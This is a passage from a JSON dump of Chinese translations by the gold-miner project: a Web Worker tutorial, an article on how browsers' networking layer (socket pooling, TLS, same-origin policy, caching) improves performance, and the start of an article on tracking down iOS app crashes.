Web Worker 并不属于 JavaScript 语言的一部分，它仅仅是浏览器提供的一项特性，只是它可以被 JavaScript 访问、调用罢了。过往的众多浏览器都是单线程程序（以前的理所当然，现在也有了些许变化），并且浏览器一直以来也是 JavaScript 主要的运行环境。对比在 Node.JS 中就没有 Web Worker 的相关实现 — 虽然 Web Worker 对应着 Node.JS 中的 “cluster” 或 “child_process” 概念，不过它们还是有所区别的。\n\n值得注意的是，Web Worker 的 [定义](http://www.whatwg.org/specs/web-workers/current-work/) 中一共包含了 3 种类型的 Worker：\n\n* [Dedicated Worker（专用 Worker）](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)\n* [Shared Worker（共享 Worker）](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker)\n* [Service worker（服务 Worker）](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API)\n\n#### Dedicated Worker（专用 Worker）\n\nDedicated Worker 由主线程实例化且只能与它通信。\n\n![](https://cdn-images-1.medium.com/max/800/1*ya4zMDfbNUflXhzKz9EBIw.png)\n\nDedicated Worker 浏览器兼容性一览\n\n#### Shared Worker（共享 Worker）\n\nShared Worker 可以被同一域（浏览器中不同的 tab、iframe 或其他 Shared Worker）下的所有线程访问。\n\n![](https://cdn-images-1.medium.com/max/800/1*lzOIevUBVy5eWyf2kHf--w.png)\n\nShared Worker 浏览器兼容一览\n\n#### Service Worker（服务 Worker）\n\nService Worker 是一个事件驱动型 Worker，它的初始化注册需要网页/站点的 origin 和路径信息。一个注册好的 Service Worker 可以控制相关网页/网站的导航、资源请求以及进行粒度化的资源缓存操作，因此你可以极好地控制应用在特定环境下的表现（如：无网络可用时）。\n\n![](https://cdn-images-1.medium.com/max/800/1*6o2TRDmrJlS97vh1wEjLYw.png)\n\nService Worker 浏览器兼容一览\n\n在本文中，我们主要讨论 Dedicated Worker，后文的 ”Web Worker“ 或 “Worker” 都默认指代它。\n\n#### Web Worker 工作原理\n\n最终实现 Web Worker 的是一堆 `.js` 文件，网页会通过异步 HTTP 请求来加载它们。当然 [Web Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) 已经包办了这一切，上述加载对使用者完全无感。\n\nWorker 利用类似线程的消息机制保持了与主线程的平行，它是提升你应用 UI 体验的不二人选，使用 Worker 保证了 UI 渲染的实时性、高性能和快速响应。\n\nWeb Worker 是运行在浏览器内部的一条独立线程，因此需要使用 Web Worker 运行的代码块也必须存放在一个 **独立文件** 中。这一点需要牢记在心。\n\n让我们看看，如何创建一个基础 Worker：\n\n```\nvar worker = new Worker('task.js');\n```\n\n如果此处的 “task.js” 存在且能被访问，那么浏览器会创建一个新的线程去异步地下载源代码文件。一旦下载完成，代码将立刻执行，此时 Worker 也就开始了它的工作。\n如果提供的代码文件不存在返回 404，那么 Worker 会静默失败并不抛出异常。\n\n为了启动创建好的 Worker，你需要显式地调用 `postMessage` 方法：\n\n```\nworker.postMessage();\n```\n\n#### Web Worker 通信\n\n为了使创建好的 Worker 和创建它的页面能够通信，你需要使用 `postMessage` 方法或 [Broadcast Channel（广播通道）](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel).\n\n#### 使用 postMessage 方法\n\n在较新的浏览器中，postMessage 方法支持 `JSON` 对象作为函数的第一个入参，但是在旧版本浏览器中它还是只支持 `string`。\n\n下面的 demo 会展示 Worker 是如何与创建它的页面进行通信的，同时我们将使用 JSON 对象作为通信体好让这个 demo 看起来稍微 “复杂” 一点。若改为传递字符串，方法也不言而喻了。\n\n让我们看看下面的 HTML 页面（或者准确地说是片段）：\n\n```\n<button onclick=\"startComputation()\">Start computation</button>\n\n<script>\n  function startComputation() {\n    worker.postMessage({'cmd': 'average', 'data': [1, 2, 3, 4]});\n  }\n  var worker = new Worker('doWork.js');\n  worker.addEventListener('message', function(e) {\n    console.log(e.data);\n  }, false);\n  \n</script>\n```\n\n这部分则是 Worker 脚本中的内容：\n\n```\nself.addEventListener('message', function(e) {\n  var data = e.data;\n  switch (data.cmd) {\n    case 'average':\n      var result = calculateAverage(data); // 一个计算数值型数组元素均值的函数\n      self.postMessage(result);\n      break;\n    default:\n      self.postMessage('Unknown command');\n  }\n}, false);\n```\n\n当主页面中的 button 被按下，触发调用了 `postMessage` 方法。`worker.postMessage` 这行代码会传递一个 `JSON` 对象给 Worker，对象中包含了 `cmd` 和 `data` 两个键以及它们对应的值。相应的，Worker 会通过定义的 `message` 响应方法拿到和处理上面传递过来的消息内容。\n\n当消息到达 Worker 后，实际的计算便开始运行，这样完全不会阻塞 event loop。在此过程中，Worker 只会检查传递来的事件 `e`，然后像往常执行 JavaScript 函数一样继续执行。当最终执行完成，执行结果会回传回主页面。\n\n在 Worker 的执行上下文中，`self` 和 `this` 都指向 Worker 的全局作用域。\n\n> 有两种停止 Worker 的方法：1、在主页面中显示地调用 `worker.terminate()` ；2、在脚本中调用 `self.close()` 让 Worker 自行了断。\n\n#### Broadcast Channel（广播通道）\n\n[Broadcast Channel](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) 是更纯粹地为通信而生的 API。它允许我们在同域下的所有的上下文中发送和接收消息，包括浏览器 tab、iframe 和 Worker：\n\n```\n// 创建一个到 Broadcast Channel 的连接\nvar bc = new BroadcastChannel('test_channel');\n\n// 发送一段简单的消息\nbc.postMessage('This is a test message.');\n\n// 这是一个简单的事件 handler\n// 我们会在 handler 中接收并打印消息到终端\nbc.onmessage = function (e) { \n  console.log(e.data); \n}\n\n// 断开与 Broadcast Channel 的连接\nbc.close()\n```\n\n下图会帮助你理解 Broadcast Channel 的工作原理：\n\n![](https://cdn-images-1.medium.com/max/800/1*NVT6WbNrH_mQL64--b-l1Q.png)\n\n使用 Broadcast Channel 会有更严格的浏览器兼容限制：\n\n![](https://cdn-images-1.medium.com/max/800/1*81mCsOzyJj-HfQ1lP_033w.png)\n\n#### 消息的大小\n\n一共有 2 种给 Web Worker 发送消息的方法：\n\n* **拷贝消息：** 这种方法下消息会被序列化、拷贝然后再发送出去，接收方接收后则进行反序列化取得消息。因此上例中的页面和 Worker 不会共享同一个消息实例，它们之间每发送一次消息就会多创建一个消息副本。大多数浏览器都采用这样的发送方法，并且会在发送和接收端自动进行 JSON 编码/解码。如你所预料的，这些数据处理会给消息传送带来不小的负担。传送的消息越大，时间开销就越大。\n* **传递消息：** 使用这种方法意味着消息发送者一旦成功发送消息后，就再也无法使用发出的消息数据了。消息的传送几乎不耗费任何时间，美中不足的是只有 [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) 支持以这种方式发送。\n\n#### Web Worker 中支持的 JavaScript 特性\n\n因为 Web Worker 的多线程天性使然，它只能使用 **一小撮** JavaScript 提供的特性，列表如下：\n\n* `navigator` 对象\n* `location` 对象（只读）\n* `XMLHttpRequest`\n* `setTimeout()/clearTimeout()` 与 `setInterval()/clearInterval()`\n* [应用缓存](https://www.html5rocks.com/tutorials/appcache/beginner/)\n* 使用 `importScripts()` 引入外部 script\n* [创建其他的 Web Worker](https://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers)\n\n#### Web Worker 的局限性\n\n令人遗憾的是 Web Worker 无法访问一些非常重要的 JavaScript 特性：\n\n* DOM 元素（访问不是线程安全的）\n* `window` 对象\n* `document` 对象\n* `parent` 对象\n\n这意味着 Web Worker 不能做任何的 DOM 操作（也就是 UI 层面的工作）。刚开始这会显得略微棘手，不过一旦你学会了如何正确使用 Web Worker。你就只会把 Web Worker 用作单独的 ”计算机器“，而把所有的 UI 操作放到页面代码中。你可以把所有的脏活累活都交给 Web Worker 完成，再将它劳作的结果传到页面并在那里进行必要的 UI 操作。\n\n#### 异常处理\n\n像对待任何 JavaScript 代码一样，你希望处理 Web Worker 抛出的任何错误。当 Worker 在运行时发生错误，它会触发 `ErrorEvent` 事件。该接口包含 3 个有用的属性，它们能帮助你定位代码出错的原因：\n\n* **filename** - 发生错误的 script 文件名\n* **lineno** - 发生错误的代码行号\n* **message** - 错误信息\n\n这有一个例子：\n\n```\nfunction onError(e) {\n  console.log('Line: ' + e.lineno);\n  console.log('In: ' + e.filename);\n  console.log('Message: ' + e.message);\n}\n\nvar worker = new Worker('workerWithError.js');\nworker.addEventListener('error', onError, false);\nworker.postMessage(); // 不传递消息仅启动 Worker\n```\n\n```\nself.addEventListener('message', function(e) {\n  postMessage(x * 2); // 此行故意使用了未声明的变量 'x'\n};\n```\n\n可以看到，我们在这儿创建了一个 Worker 并监听着它发出的 `error` 事件。\n\n通过使用一个在作用域内未定义的变量 `x` 作乘法，我们在 Worker 内部（`workerWithError.js` 文件内）故意制造了一个异常。这个异常会被传递到最初创建 Worker 的 scrpit 中，同时调用 `onError` 函数。\n\n#### Web Worker 的最佳实践\n\n到此为止我们已经见识了 Web Worker 的强悍与不足，下面就一起来看看最适合使用它的场景有哪些：\n\n* **光线追踪（Ray Tracing）：**：光线追踪属于计算机图形学中的 [渲染（Rendering）](https://en.wikipedia.org/wiki/Rendering_%28computer_graphics%29 \"Rendering (computer graphics)\") 技术，它会追踪并转换[光线](https://en.wikipedia.org/wiki/Light \"Light\") 的轨迹为一个个像素点，最终生成一张完整的图片。为模拟光线的轨迹，光线追踪需要 CPU 进行大量的数学计算。光线追踪包括模拟光的反射、折射及物质效果等。以上所有的计算逻辑都可以交给 Web Worker 完成，从而不阻塞 UI 线程的执行。或者更好的方案是使用多个 Worker （以及多个 CPU）来完成图片渲染。这有一个使用 Web Worker 进行光线追踪的 demo — [https://nerget.com/rayjs-mt/rayjs.html](https://nerget.com/rayjs-mt/rayjs.html).\n\n* **加密：** 针对个人敏感数据的保护条例变得日益严格，端对端的数据加密也变得更为流行。当程序中需要经常加密大量数据时（如向服务器发送数据），加密成为了非常耗时的工作。Web Worker 可以非常好的切入此类场景，因为这里不涉及任何的 DOM 操作，Worker 中仅仅运行一些专为加密的算法。Worker 会勤恳地默默工作，丝毫不会打扰用户，也绝不会影响用户的体验。\n\n* **数据预获取：** 为优化你的网站或 web 应用的数据加载时长，你可以使用 Web Worker 预先获取一些数据，存储起来以备后续使用。Web Worker 在这里发挥着重要作用，因为它绝不会影响应用的 UI 体验，若不使用 Web Worker 情况会变得异常糟糕。\n\n* **Progressive Web App：** 当网络状态不是很理想时，你仍需保证 PWA 有较快的加载速度。这就意味着 PWA 的数据需要被持久化到本地浏览器中。在此背景下，一些与 [IndexDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) 类似的 API 便应运而生了。从根本上来说，客户端一侧需要有数据存储能力。为保证存取时不阻塞 UI 线程，这部分工作理应交给 Web Worker 完成。好吧，在 IndexDB 中你可以不使用 Web Worker，因为它提供的异步 API 同样不会阻塞 UI。但是在这之前，IndexDB 提供的是同步API（可能会被再次引入），这种情况使用 Web Worker 还是非常有必要的。\n\n* **拼写检查：** 进行拼写检查的基本流程如下 — 程序首先从词典文件中读取一系列拼写正确的单词。整个词典的单词会被解析为一个搜索树用于实际的文本搜索。当待测词语被输入后，程序会检查已建立的搜索树中是否存在该词。如果在搜索树中没有匹配到待测词语，程序会替换字符组成新的词语，并测试新的词语是否是用户期待输入的，如果是则会返回该词语。整个检测过程可以被轻松 “下放” 给 Web Worker 完成，Worker 会完成所有的词语检索和词语联想工作，这样一来用户的输入就不会阻塞 UI 了。\n\n对 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-outro) 来说，保持高性能和高可靠性是极其重要的. 持有这种理念的主要原因是，一旦你的应用集成 SessionStack 后，它会开始记录从 DOM 变化、用户交互行为到网络请求、未捕获异常和 debug 信息的所有数据。收集到的跟踪数据会被 **实时** 发送到后台服务器，以视频的形式向你还原应用中出现的问题，帮助你从用户的角度重现错误现场。这一切功能的实现需要足够的快并且不能给你的应用带来任何性能上的负担。\n\n这就是为什么我们尽可能地把 SessionStack 中，值得优化的业务逻辑交给 Web Worker 完成。诸如在核心监控库和播放器中，都包含了像 hash 数据完整性验证、渲染等 CPU 密集型任务，这些都是值得使用 Web Worker 优化的地方。\n\nWeb 技术持续向前变更和发展，所以我们宁肯先行一步也要保证 SessionStack 是一个不会给用户 app 带来任何性能损耗的轻量级应用。\n\n如果阁下愿意试试 SessionStack ，这里有一个[免费的试用计划](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-try-now)。\n\n![](https://cdn-images-1.medium.com/max/800/1*YKYHB1gwcVKDgZtAEnJjMg.png)\n\n#### 参考资料\n\n* [https://www.html5rocks.com/en/tutorials/workers/basics/](https://www.html5rocks.com/en/tutorials/workers/basics/)\n* [https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/](https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/)\n* [https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md",
    "content": "> * 原文地址：[How Modern Web Browsers Accelerate Performance: The Networking Layer](https://blog.sessionstack.com/how-modern-web-browsers-accelerate-performance-the-networking-layer-f6efaf7bfcf4)\n> * 原文作者：[\n>   Lachezar Nickolov](https://blog.sessionstack.com/@lsnickolov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-modern-web-browsers-accelerate-performance-the-networking-layer.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[realYukiko](https://github.com/realYukiko) [MechanicianW](https://github.com/MechanicianW)\n\n# 现代浏览器是如何提升性能的：网络层\n\n49 年前，ARPnet 建立了。这是一个[早期的分组交换网络](https://en.wikipedia.org/wiki/Packet_switching)，也是第一个 [实现了 TCP/IP 协议簇](https://en.wikipedia.org/wiki/Internet_protocol_suite) 的网络。该网络建立了一个从加州大学到斯坦福研究院的连接。20 年后，Tim Berners-Lee（译注：万维网之父）分享了一个叫做 “Mesh” 的提案（译注：参看 [Information Management: A Proposal](https://www.w3.org/History/1989/proposal.html)），这在之后成为了我们所熟知的万维网（World Wide Web）。49 年间，因特网得到了长足发展，从仅仅是两台电脑间的数据分组交换，到现如今有超过 7500 万台服务器，38 亿个互联网用户，以及 13 亿个网站。\n\n![](https://cdn-images-1.medium.com/max/800/1*x8P3OcgcgKrEEDpgT2IKkQ.jpeg)\n\n本文中，我们将分析现代浏览器用来自动提升性能的技术（甚至你都感知不到这些技术），并且我们会聚焦于浏览器的网络层。我们也会提供一些使用浏览器提高你的 web 应用性能的思路。最后，我们也会分享一些我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-6-webassembly-intro) 时的经验法则，这是一个轻量级、健壮且高性能的 JavaScript 应用，旨在帮助用户实时查看和复现他们的 web 应用缺陷。\n\n我们都熟悉这 13 亿个网站在呈现一个用户友好页面时所用的技术。这次我们则聚焦于 web 浏览器。现代 web 浏览器被专门设计来交付快速、高效和安全的 web 应用程序或是网站。web 浏览器看起来更像是一个操作系统，而不仅仅是一个软件，因为有数以百计的组件运行在不同分层，从进程管理和安全沙箱，再到 GPU 管道，音视频等等。\n\n浏览器的整体性能取决于这些大型组件：解析、布局、样式计算、JavaScript 和 WebAssembly 执行、渲染以及网络堆栈。网络堆栈（或者说网络协议栈）经常会被质疑是性能的瓶颈所在。这是因为在剩余步骤被解锁前，需要从因特网获得所有需要的资源。为了让网络层高效，网络堆栈需要扮演一个更为重要的角色，而不仅仅是个简单的 socket 管理员。网络层的资源获取的机制是简单浅显的，但机制以外，它还是一个拥有自己的优化法则、API 以及服务的完整平台。\n\n![](https://cdn-images-1.medium.com/max/800/1*WqInzMPQGGcMX9AOONN76g.jpeg)\n\n作为 web 开发者，我们不用关心各个 TCP 或者 UDP 报文，请求格式化、缓存等等正在进行的过程。这些复杂的东西都是浏览器的职责，这让我们可以专注于应用开发。但是，这也不妨碍我们多多少少去知道一些 web 浏览器的底层细节。事实上，这可以帮助我们创建更快、更安全的应用。\n\n本质上，下面罗列的这些就是用户和浏览器交互的过程：\n\n* 用户在浏览器地址栏输入了一段 URL。\n* 浏览器从 URL 中获得了域名，再通过 [DNS](https://en.wikipedia.org/wiki/Domain_Name_System) 请求到服务器的 IP 地址。\n* 浏览器创建了一个 HTTP 报文，该报文说明了它将请求放在远程服务器上的 web 页面。\n* 报文被送到了 TCP 层，TCP 层会在 HTTP 报文头部添加一些它自己的信息，该信息是保持会话的必需。\n* 之后，报文又被送入了 IP 层，这一层的主要任务是指出如何将你的报文从本地发送到远端的服务器。这个信息也被保存在了报文头部。\n* 报文被送到了远端服务器。\n* 一旦报文被收到，服务端响应会被以同样形式送回。\n\n这是一个针对于网络请求创建后发生了什么而做的高级概述。整个网络进程是非常复杂的，其中许多层都可能成为性能瓶颈。这也就是为何浏览器会致力于通过使用不同的技术手段来减小网络通信的开销，从而提高性能。\n\n### socket 管理\n\n让我们以几个技术开始：\n\n* origin —— 一个含有应用协议、域名和端口的三元组（例如 https、[www.example.com](http://www.example.com)、443）\n* socket 池 —— 一个同源 sockets 组（所有的主流浏览器都限制了池的大小不超过 6 个 socket）\n\nJavaScript 和 WebAssembly 不允许我们管理单个报文的生命期，这可是件好事儿！这不仅让我们专注于应用开发，还允许浏览器自动进行一系列的性能提升，例如 socket 重用、设置请求优先级以及延迟绑定、协议协商、强制连接限制等等。事实上，现代浏览器已经极大地将请求管理循环从 socket 管理中分离出来。Socket 通过池进行组织，每个池容纳了同源的 socket，每一个 socket 池又都强制了连接限制和安全限制。待执行请求被放入队列并设置了优先级，之后会被绑定到池中单个 socket。除非服务器有意关闭了连接，否则相同的 socket 可以在多个请求中自动重用。\n\n![](https://cdn-images-1.medium.com/max/800/1*_0F_8oL0vQQestOkKeRmAw.jpeg)\n\n由于开启一个新的 TCP 连接会带来额外的性能开销，因此连接重用会为连接带来极大的性能收益。默认情况下，当一个请求建立后，为避免开启一个新的到服务器的连接产生的耗时，浏览器使用了 “keepalive” 机制。打开一个本地请求的 TCP 连接的平均时间为 23 ms，开启一个横贯大陆连接的平均时间为 120 ms，而开启一个洲际连接则为 225 ms。现在，想象浏览器已经创建了 10 个到服务器的连接，你大可自己算算要消耗多少时间。\n\n这一架构为其他许多性能优化手段开启了大门。不同优先级的请求，将会被以不同的顺序执行。浏览器可以优化各个 socket 间的带宽分配，也可以依据请求打开新的 socket。\n\n正如我之前提到的，这些都是通过浏览器进行管理，而不会要求开发者做任何的工作。但这并不意味着我们对于提升网络性能无能为力。选择正确的网络通信模式、类型、传输频率，以及服务器堆栈的选择和调试都将在应用的整体性能中扮演重要角色。\n\n一些浏览器的能力甚至不仅于此。例如，Chrome 的自我学习手段能让你越用越快。它是基于用户已访问过的网站和具有代表性的浏览模式进行学习的，因此，它可以预估相似用户的行为，并且在用户什么都没做之前就进行优化。最简单的例子就是，当用户的鼠标滑过某个超链接时，Chrome 就预先渲染了这个链接对应的页面。如果你想要了解更多 Chrome 的优化手段，你可以阅读 [High-Performace Browser Networking](https://hpbn.co) 的这一章 [https://www.igvita.com/posa/high-performance-networking-in-google-chrome/](https://www.igvita.com/posa/high-performance-networking-in-google-chrome/)。\n\n### 网络安全和沙箱化\n\n允许浏览器对单独的 socket 进行管理还有另外一个重要目的：它为不受信任的应用资源强制开启了一连串的安全和策略限制。例如，浏览器不允许 API 直接访问原始的网络 socket，因为这将让任何恶意应用都能直连到任意主机。浏览器也强行限制了连接个数，目的在于防止服务器和客户端资源枯竭。\n\n浏览器会对所有发出的请求进行格式化，借此强制协议语义的一致性和结构正确，从而保护服务器。类似地，响应解码也会自动完成，从而保护用户不受恶意服务器的侵害。\n\n#### TLS 协议\n\n[传输层安全（TLS）](https://en.wikipedia.org/wiki/Transport_Layer_Security) 是一个加密协议，它能够在计算机网络间提供通信安全。TLS 已经被广泛应用到了许多应用中，其中之一就是 web 浏览。网站可以使用 TLS 来保障服务器和 web 浏览器间的通信安全。\n\n完整的 TLS 握手过程包含如下步骤：\n\n1. 客户端发送了一个 “Client hello” 消息给服务器，并附上了客户端的随机数和支持的密文簇。\n2. 服务器响应一个 “Server hello” 消息给客户端，并附上了服务端的随机数。\n3. 服务器发送其证书给客户端用于认证，并且也请求客户端的证书。然后，服务器发送 “Server hello done” 消息。\n4. 如果服务器向客户端请求了证书，则客户端就会发送证书。\n5. 客户端创建了一个随机的 Pre-Master Secret，并且使用了从服务器证书中获得的公钥对其进行加密，之后发送加密后的 Pre-Master Secret 给服务器。\n6. 服务器收到了 Pre-Master Secret。基于 Pre-Master Secret，服务器和客户端各自产生了 Master Secret 和 session keys。\n7. 客户端发送了 “Change cipher spec” 通知到服务器，以此指明客户端将会开始使用新的 session keys 来加密消息和哈希化消息。客户端也会发送一个 “Client finished” 消息给服务器。\n8. 服务器收到了 “Change cipher spec” 消息，然后将其记录层安全状态转换为使用 session key 的对称加密。然后服务器发送了 “Server finished” 消息给客户端。\n9. 客户端和服务器现在可以在它们所建立的安全信道上进行应用数据的交换，所有客户端和服务器间的消息都使用了 session key 进行加密。\n\n流程中如果有任何的校验失败 —— 例如服务器使用了自签名的证书，用户都将会被警告。\n\n#### 同源策略\n\n浏览器强制对应用程序能够初始化的请求在类型上做出了限制，也强制对请求的源做了限制。\n\n上面罗列的也远不够完整。同源策略的目的在于强调 “最小特权” 原则生效了。浏览器只暴露了应用代码所必需的 API 和资源：应用所用的数据、URL，浏览器格式化了请求并且操纵了每个连接完整的生命周期。\n\n值得注意的是，“同源策略” 尚没有一个简单的概念，取而代之的是，有一系列相关的机制来强制对 DOM 访问、cookie 和 session 状态管理、网络、以及另外一些的浏览器组件做出限制。如果你对此仍存有疑惑，我建议你看看 Michal Zalewski 的 [The Tangled Web](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886)。\n\n### 资源及客户端状态缓存\n\n最好、最快的请求就是不做请求。在分发一个请求前，浏览器会自动检查资源缓存并进行必要的校验，如果满足特定的条件，则直接返回本地缓存的资源备份。类似地，如果没有命中本地缓存中的资源，就会发送一个网络请求，得到的响应将自动地放入缓存中服务于后续的访问。\n\n* 浏览器会自动评估每个资源的缓存指令\n* 浏览器会在可能的时候自动对过期资源进行再验证\n* 浏览器会自动管理缓存大小并进行资源回收\n\n手动管理一个高效的，最优化的资源缓存是非常困难的。幸运地是，浏览器自己承担了这份复杂的工作，我们只需要保证我们的服务器返回正确的缓存指令即可。想要了解更多的话，可以参看 [Cache Resources on the Client](https://hpbn.co/optimizing-application-delivery/#cache-resources-on-the-client)。你为页面的所有资源都提供了一个 Cache-Control，ETag 以及 Last-Modified 响应头，对吧？\n\n最后，浏览器的一个常被忽略却至关重要的功能就是提供了认证、session（会话） 和 cookie 管理。浏览器为每个源维护了相互隔离的 “cookie jars（饼干罐）”，并暴露了应用和服务器所需的 API 来读写新的 cookie、session 以及认证数据，又通过自动添加和处理了正确的 HTTP 头部来帮助我们实现整个过程的自动化。\n\n#### 举个栗子：\n\n一个简单的例证就是将 session 状态管理推迟到浏览器所带来的便捷：一个已认证的 session 可以在多个浏览器标签页或者窗口中共享，反之亦然。在某个标签页进行的登出操作也会让所有其他的标签页或者窗口中对应的 session 失效。\n\n### 应用层 API 和 协议\n\n顺着网络服务的梯子一步步爬，最终我们将到达应用层，接触到应用层 API 和 协议。\n\n正如我们所看到的，较低层的网络层提供了应用广泛而又关键的服务：socket 和连接管理、请求和响应处理、各种强制性的安全策略、缓存等等。每当我们初始化一个 HTTP 或者 XMLHttpRequest、一个长期存活的 Server-Sent Event 或者 WebSocket 会话、或者打开了一个 WebRTC 连接，我们都会和这些底层服务交互。\n\n当然，不存在一个最好的协议和 API。每个大型应用都会混合不同的传输方式，这是基于各种各样的需求：和浏览器缓存交互、协议过载、消息延迟、应用可靠性、数据传输类型等等。一些协议可能提供低延迟的交付能力（例如 Server-Sent Events、WebSocket），但这可能又不满足其他的关键准则，例如利用浏览器缓存的能力或者在所有场景下都支持高效的二进制传输。\n\n概括下来，有以下手段可以提高你的 web 应用性能和安全：\n\n* 总在你的请求头部使用 “Connection: Keep-Alive” 。浏览器默认会做这件事儿。你要确定你的服务器也使用了同样的机制。\n* 使用合适的 Cache-Control、ETag 和 Last-Modified 头部，借此你可以节省不少浏览器下载时间。\n* 花费一些时间来调试和优化你的 web 服务器。\n* 总是使用 TLS！特别是如果你的应用程序使用了任意类型的认证手段。\n* 研究一下你所用的浏览器都提供了哪些安全策略，并在你的应用中强制使用它们。\n* 务必浏览下本文参考资料中提及的书籍。可以从其中学到其他的技术。\n\n在 SessionStack 中，性能和安全同属一等公民。二者被置于如此高的层面进行考虑的原因是，一旦 SessionStack 嵌入你的 web 应用，它就开始记录你应用的每一件事儿，从 DOM 变化和用户交互，到未捕获的异常和 debug 信息。所有这些数据都实时地传入我们的服务器，这让你能够通过视频重现你应用的每个问题，看见每一件发生在用户身上的事儿。所有的这些都具有最小的延时，也不会对你的应用造成任何的性能过载。\n\n这就是为什么我们致力于在 SessionStack 利用上述所有的，以及未来博文中将讨论的建议。\n\n这里有一个免费计划让你[开始使用我们的产品](https://www.sessionstack.com/signup/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*8wanSMWsaiOFLjEBb-5j8g.png)\n\n#### 参考资料\n\n* [https://hpbn.co/](https://hpbn.co/)\n* [https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886)\n* [https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513%28v=vs.85%29.aspx)\n* [http://www.internetlivestats.com/](http://www.internetlivestats.com/)\n* [http://vanseodesign.com/web-design/browser-requests/](http://vanseodesign.com/web-design/browser-requests/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-not-to-crash-1.md",
    "content": "> * 原文地址：[How Not to Crash](http://blog.supertop.co/post/152615019837/how-not-to-crash-1)\n* 原文作者：[Padraig](https://twitter.com/supertopsquid)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015/)\n* 校对者：[lovelyCiTY](https://github.com/lovelyCiTY), [DeadLion](https://github.com/DeadLion)\n\n\n# 如何避免应用崩溃\n\n应用崩溃时有发生。崩溃会打断用户当前的工作流，导致数据的丢失，还会扰乱应用在后台的操作。对于开发者而言，那些最难修复的崩溃往往是那些难以重现，甚至难以检测到的崩溃。\n\n我最近发现并修复了一个 bug ，而它正是导致 Castro 反复出现难以检测的崩溃的罪魁祸首（译者注： Castro 是原文作者开发的一款应用），我将处理这个问题的过程分享给大家并附上一些我的建议，或许能帮助你定位类似的问题。\n\n我和 Oisin 在九月份发布了 Castro 2.1 版本，那之后不久，从 iTunes Connect 上报的 Castro 崩溃数量便急剧上升。\n\n![图表展示了 Castro 从 2.0 升级到 2.1 后崩溃数量上升的情况](http://supertop.co/images/crashes.png)\n\n### iTunes Connect 崩溃上报\n\n有趣的是，这些崩溃并没有出现在我们平时使用的崩溃上报服务 HockeyApp 中，因此我们实际上在晚些时候才发现我们的应用出现了问题。想要查看到应用的所有崩溃，开发者需要从 iTunes Connect 或是 Xcode 中查看崩溃上报。（更新： Greg Parker [指出](https://twitter.com/gparker/status/794076875249225728) **“第三方崩溃上报系统在对应的应用进程中建立 handler 来记录应用行为，但如果操作系统从外部终止进程，这个 handler 就永远无法执行了。”**），另外， HockeyApp 的联合创始人 Andreas Linde [引用](https://twitter.com/therealkerni/status/794275740631973888) 了一篇文章来界定那些 [Hockey 